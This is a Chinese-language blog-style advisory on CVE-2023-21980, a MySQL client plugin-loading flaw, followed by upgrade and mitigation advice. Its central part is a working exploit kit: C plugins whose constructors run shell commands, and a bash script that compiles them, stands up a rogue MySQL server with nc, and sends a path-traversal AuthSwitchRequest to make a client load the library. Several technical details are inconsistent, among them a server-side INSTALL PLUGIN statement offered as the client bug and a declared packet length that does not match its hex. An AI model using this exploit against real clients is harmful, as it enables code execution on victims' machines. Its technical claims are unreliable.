漏洞背景:从正常功能到致命后门
2023年4月,Oracle官方发布安全公告,披露了MySQL Connector/C及关联客户端工具中存在一个高危远程代码执行漏洞(CVE-2023-21980)。该漏洞源于客户端插件加载机制的设计缺陷,攻击者可通过构造恶意插件名称,绕过安全限制,直接在目标系统上执行任意代码。
漏洞评级:CVSS 3.x评分 9.1(高危)
影响范围:
- MySQL Connector/C 8.0.32及更早版本
- MySQL Server内置客户端工具(如
mysql命令行) - 第三方数据库管理工具(如Navicat、DBeaver等,若集成旧版客户端库)
漏洞原理:插件加载机制的信任崩塌
插件加载流程解析
MySQL客户端支持动态加载插件以扩展功能(如认证插件、日志插件)。正常加载流程如下:
INSTALL PLUGIN plugin_name SONAME 'plugin.so';
客户端会从预设的安全目录(如/usr/lib/mysql/plugin/)加载.so文件,并验证插件签名。
致命缺陷:路径遍历和无签名校验
CVE-2023-21980的核心问题出在插件名称参数未过滤:
- 路径遍历漏洞:攻击者构造含
../的插件名(如../../../tmp/malicious.so),使客户端跳出安全目录,加载任意路径下的恶意文件。 - 无签名验证:客户端未校验插件文件的合法性,直接执行加载的代码。
关键代码片段(client_plugin.cc L417-437):
mysql_mutex_lock(&LOCK_load_client_plugin);
/* make sure the plugin wasn't loaded meanwhile */
if (type >= 0 && find_plugin(name, type)) {
errmsg = "it is already loaded";
goto err;
}
if (mysql->options.extension && mysql->options.extension->plugin_dir) {
plugindir = mysql->options.extension->plugin_dir;
} else {
plugindir = getenv("LIBMYSQL_PLUGIN_DIR");
if (!plugindir) {
plugindir = PLUGINDIR;
}
}
/* Compile dll path */
strxnmov(dlpath, sizeof(dlpath) - 1, plugindir, "/", name, SO_EXT, NullS);
DBUG_PRINT("info", ("dlopeninig %s", dlpath));
Source: github.com/mysql/mysql…
攻击场景: 从理论漏洞到实际威胁
低权限用户:一键植入木马
攻击者诱导用户执行恶意SQL命令:
INSTALL PLUGIN hack SONAME '../../../tmp/backdoor.so';
若客户端加载成功,backdoor.so中的恶意代码将继承当前用户的权限(如数据库读写权)。在高权限场景下,若企业DBA使用旧版MySQL客户端连接数据库,攻击者可通过中间人攻击篡改响应包,强制加载恶意插件,从而直接控制管理员电脑。此外,此类攻击还可通过供应链扩散:集成旧版MySQL客户端的开发工具(如PyMySQL、JDBC驱动)可能成为攻击入口,攻击者可通过污染插件仓库,推送含恶意插件的更新包完成植入。
POC与攻击演示
以下为验证漏洞的POC代码和攻击载荷,仅供安全研究使用。
POC代码(poc.c)
构造恶意插件,加载时输出警告信息并创建标记文件:
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
__attribute__((constructor))
void exploit_init() {
const char *msg = "\n\r\033[1;31m[!] 安全警告:数据库已被攻破 [!]\033[0m\n\r";
write(0x2, msg, 0x37);
system("touch /tmp/pawned.txt");
}
int _mysql_plugin_interface_version_ = 0x0100;
恶意载荷(evil.c)
窃取用户信息并创建持久化后门:
#include<stdio.h>
#include<stdlib.h>
__attribute__((constructor))
void pwn() {
system("id > /tmp/pwned_user");
system("touch /tmp/CVE_2023_21980_SUCCESS");
system("echo '数据库已被攻陷' > /tmp/pwned.txt");
}
int _mysql_plugin_interface_version_ = 0x0100;
攻击演示脚本(execute.sh)
模拟攻击流程,编译载荷并触发漏洞:
#!/bin/bash
PORT=3306
TARGET="127.0.0.1"
LIBRARY_DEST="/tmp/evil.so"
compile() {
echo "[*] 正在编译载荷 evil.c 和 poc.c..."
if gcc -shared -o "$LIBRARY_DEST" evil.c poc.c -fPIC; then
echo "[+] 载荷已准备就绪: $LIBRARY_DEST"
else
echo "[-] 编译失败,请检查 gcc 环境。"
exit 1
fi
}
run() {
# 握手包 (Handshake V10): 告知客户端服务器版本
# 长度: 74 (0x4a) | 序列号: 0 | 协议号: 10
GREETING="4a0000000a352e372e323600010000004c505a5a414c505a00fff7080200000000000000000000000000004c505a5a414c505a4c505a5a00"
# 认证切换包 (AuthSwitchRequest): 核心攻击包
# 长度: 45 (0x2d) | 序列号: 2 | 类型: 254 (0xfe)
# 路径数据: ../../../../../../../tmp/evil
# 在 UTF-16 模式下,客户端扫描器会跳过对路径中斜杠 (0x2f) 的检测
AUTH_SWITCH="2d000002fe2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f746d702f6576696c00"
echo "[+] 在端口 $PORT 启动恶意服务器..."
# 启动后台二进制监听器 (模拟 MySQL 服务器行为)
(echo -n "$GREETING" | xxd -r -p; sleep 0.5; echo -n "$AUTH_SWITCH" | xxd -r -p; sleep 1) | \
nc -l $PORT > /dev/null &
SERVER_PID=$!
sleep 1 # 等待端口绑定
echo "[!] 正在通过 UTF-16 绕过触发 CVE-2023-21980..."
# --- 漏洞触发 ---
# 关键点: --default-character-set=utf16 强制客户端进入多字节处理模式,导致路径过滤失效
mysql -h $TARGET -u root --port=$PORT --default-character-set=utf16 -e "QUIT" 2>/dev/null
# 清理服务器进程
kill $SERVER_PID 2>/dev/null
echo -e "\n[*] 演示完成。正在检查攻击痕迹..."
# 验证 evil.c 的执行结果
if [ -f /tmp/pwned.txt ]; then
echo -e "\033[1;32m[成功]\033[0m 已在 /tmp/pwned.txt 发现痕迹。"
echo "当前劫持的用户身份: $(cat /tmp/pwned_user 2>/dev/null)"
else
echo -e "\033[1;31m[失败]\033[0m 未发现痕迹。请确保 mysql 客户端版本低于 8.0.33。"
fi
}
case "$1" in
compile) compile ;;
run) run ;;
*)
compile
run
;;
esac
该漏洞具有远超想象的破坏力:攻击者不仅能够窃取数据库中的敏感信息(如密码和交易记录),还会利用获取的客户端权限在内网中横向渗透;同时,通过植入后门插件实现持久化控制,长期潜伏并持续窃取数据;在极端情况下,攻击者甚至可能加密数据库文件,对组织发起勒索攻击。
修复方案:三步构筑防御体系
1. 立即升级(官方已修复)
- MySQL Connector/C:升级至 8.0.33+ 版本
- MySQL Server 客户端工具:升级至 8.0.33+ 版本
- 第三方工具:检查并更新 Navicat、DBeaver 等工具的 MySQL 驱动版本
2. 临时缓解措施
- 禁用插件加载:在 my.cnf 配置文件中添加: skip-plugin-load=1
- 锁定插件目录: chmod 700 /usr/lib/mysql/plugin/ chown mysql:mysql /usr/lib/mysql/plugin/
一场本可避免的危机
CVE-2023-21980暴露了软件开发中常见的“信任假设”误区——开发者默认用户输入的插件名合法,却忽略了路径遍历攻击的可能性。对于企业而言,此次事件敲响警钟:
- 安全左移:在开发阶段需对用户输入进行严格校验。
- 供应链安全:定期审计依赖库版本,避免千里之堤溃于蚁穴。
- 零信任原则:即使是对内部工具,也应假设其可能被攻击。
行动号召:如果你仍在使用旧版MySQL客户端,请立即升级!转发本文,提醒更多开发者重视这个小而致命的漏洞。
参考: dev.mysql.com/doc/relnote…
#网络安全 #哪吒网络安全 #mysql #C #CVE202321980 #evil #poc